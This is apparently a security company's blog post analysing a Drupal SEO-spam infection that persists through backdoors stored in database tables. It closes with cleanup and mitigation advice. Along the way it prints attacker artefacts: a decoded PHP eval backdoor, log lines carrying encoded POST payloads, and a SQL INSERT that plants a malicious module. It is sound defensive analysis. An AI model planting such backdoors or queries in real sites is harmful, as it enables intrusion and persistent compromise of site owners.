Last year we took a look at how attackers were infecting Drupal installations to spread their spam and keep their campaigns going by just including a malicious file in each visitor’s session. If your Drupal site has been compromised, we also recently release a new guide to cleaning hacks in Drupal.
It’s quite common for attackers to evolve their techniques and add new variations of hidden backdoors to make it harder to get rid of the infection. These evasion and reinfection techniques can also make it difficult to modify the malicious code, which is what has exactly happened in this case, over a year later.
Indicators of Compromise
The objective of this infection is to cause Google to index thousands of spam pages, which are used to improve rankings of their black hat SEO campaigns. The attackers abuse the authority of infected websites to send links to websites under their control. Left unchecked, this can cause Google to devalue the victim site when low-quality spam links are found.
We can see that for the keyword “Nike” alone there are over 68,000 results coming from the infected site – and that’s just for this one keyword. Attackers can inject as many spam pages as they want.
Drupal Database Spam Above Root
Last year we saw that an early variation of this malware campaign that includes a file from a directory above the site’s root. We used this as a starting point for our investigation.
To find files in this directory, we searched the site’s database for “../..” – however, unlike the early variation, this time we found more results in other tables. Previously, the infection was limited to session_inc within the variable table.
We also see hits from the cache and from the system tables.
Within the system table we found an overly module added with its source file pointing to a file four directories above the root of the site:
At the same time, session_inc within the variable table contained a malicious PNG file similar to the version we wrote about last year, sitting in the tmp directory above the site root.
The inclusion of files outside of the website’s root folder is a common technique used by attackers so that their malware files become harder to find.
The actual code in the both files is the same, so let’s take a look at the decoded version.
The code is almost the same as last year’s variation. it responds with spam if the request came from a search engine crawler. If the visitor is not a search engine, the file responds with a 404 error and redirects the visitor to the site’s homepage. Not much change there.
Google Search Console
One unique change in this variation is that attackers now include a Google Search Console verification code so that the attackers can verify themselves as an owner of your website. This free tool offered by Google allows webmasters to modify and analyze their appearance in search engines, including alerts and information about any security or spam warnings.
Since the malware retrieves the spam payload from another infected (or malicious) site, the attacker can include any type of spam they want. It can also be leveraged to perform other attacks, such as drive-by-download malware and executing browser exploits.
Our first step to fix the hack included clearing the records that contained the malicious inclusions. We also removed the included files and cleared the cache.
The next day, everything we removed was back again. This meant it was time to take a closer look at how the attacker was reinfecting the sites so quickly.
Digging into Logs
We reviewed the server logs and identified some suspicious requests.
xx.xx.xx.xx - - [20/Apr/2017:21:28:41 -0400] "POST /test.php HTTP/1.1" 404 571 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0" "POSTLOG:qwer=QGV2YW(...truncated...)J1cGFsX3NpdGUv" xx.xx.xx.xx - - [20/Apr/2017:21:28:59 -0400] "POST /test.php HTTP/1.1" 404 104 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0" "POSTLOG:qwer=QGV2YW(...truncated...)Q7ZWNobyBbRV0%3D"
Luckily we were able to get the content of the POST requests and decoded them. For example here’s the decoded value of the qwer parameter:
@eval (base64_decode ( $_POST[z0] ));
The requests return a 404 error message, which would mean that the attack was unsuccessful.
The plot thickens when you understand that Drupal, by default, handles all the 404 requests instead of Apache. The following directive redirects any 404 Not Found pages to the homepage.
# Make Drupal handle any 404 errors. ErrorDocument 404 /index.
This is not the only time the attacker leverages Drupal’s features as part of this campaign.
POST Requests to Database
We also identified attempts to insert malware to the Drupal database when decoding those POST requests.
print_r(db_query("INSERT INTO `dr_system` VALUES ('../../../../tmp/update-extraction-1f2dc7ba/views_accordion/help/1f2dd7ba.overly.module', 'overly', 'module', '', '1', '0', '0', '0', 0x613A(...truncated...)303B7D)"));
This new finding took us back to checking any suspicious code inside the Drupal tables. Here’s a good example from the block table:
When we deobfuscated the code inside pages we get the backdoor responsible for eval’ing all the requests we identified in the log files.
How it Works
Investigating it a little further we found that this Drupal instance was running with “PHP filter” enabled:
The module adds the ability to include PHP code in posts. PHP is a general-purpose scripting language widely-used for web development; the content management system used by this website has been developed using PHP
The attacker leveraged this feature to add malicious code to the block table in the database, more specifically inside the main-menu area. This means the code will be loaded every time the site’s menu bar is loaded.
Since this block is processed when index.php is called, and index.php is called when Drupal processes 404 pages, the attacker can send POST requests to ensure the site is quickly reinfected.
Once this code is removed the backdoor is no longer accessible.
It is worth noting that Drupal is disabling this module in version 8. They are currently aware of the risks of having it enabled. As a precaution, disable the PHP filter module if not essential for your site to operate.
Final Thoughts and Important Steps
Attackers constantly improve their campaigns and and find new ways to hide backdoors and leverage legitimate modules or features to maintain access to compromised sites.
Even if that module is not installed on the website, an attacker can install it without your knowledge. This is why it’s important to monitor your website integrity and audit your extensions. If you have unwanted software on your website, just as with your computer, it could be a sign that more nefarious code lurks under the surface.
Another unsettling reality of this campaign is that the attacker gained credentials of all backend users. This is why we stress the importance of changing all passwords when clearing website infections.
Here are specific mitigation steps to ensure the attacker does not return:
- Find and clear the malware and the backdoors.
- Fully clear all caches.
- Make sure all patches are properly installed.
- Force password reset for all users with backend permissions.
- Clear all sessions both on the database and server.
- Implement a protection mechanism onto the backend (such as 2FA or IP filtering).
Once everything is clean, you can begin the arduous task of removing all those spam entries from Google’s search results.
When dealing with infections it’s extremely important to first close all the backdoors and immediately shut down as much of the attack surface as possible to minimize the risk of a reinfection. Activating a cloud WAF will protect your site and virtually patch security holes in Drupal. The Sucuri Firewall will prevent the backdoor from being created and restrict access to admin areas from unknown IP addresses. Implementing a website application firewall is one of the most reliable ways to keep hackers from compromising your site.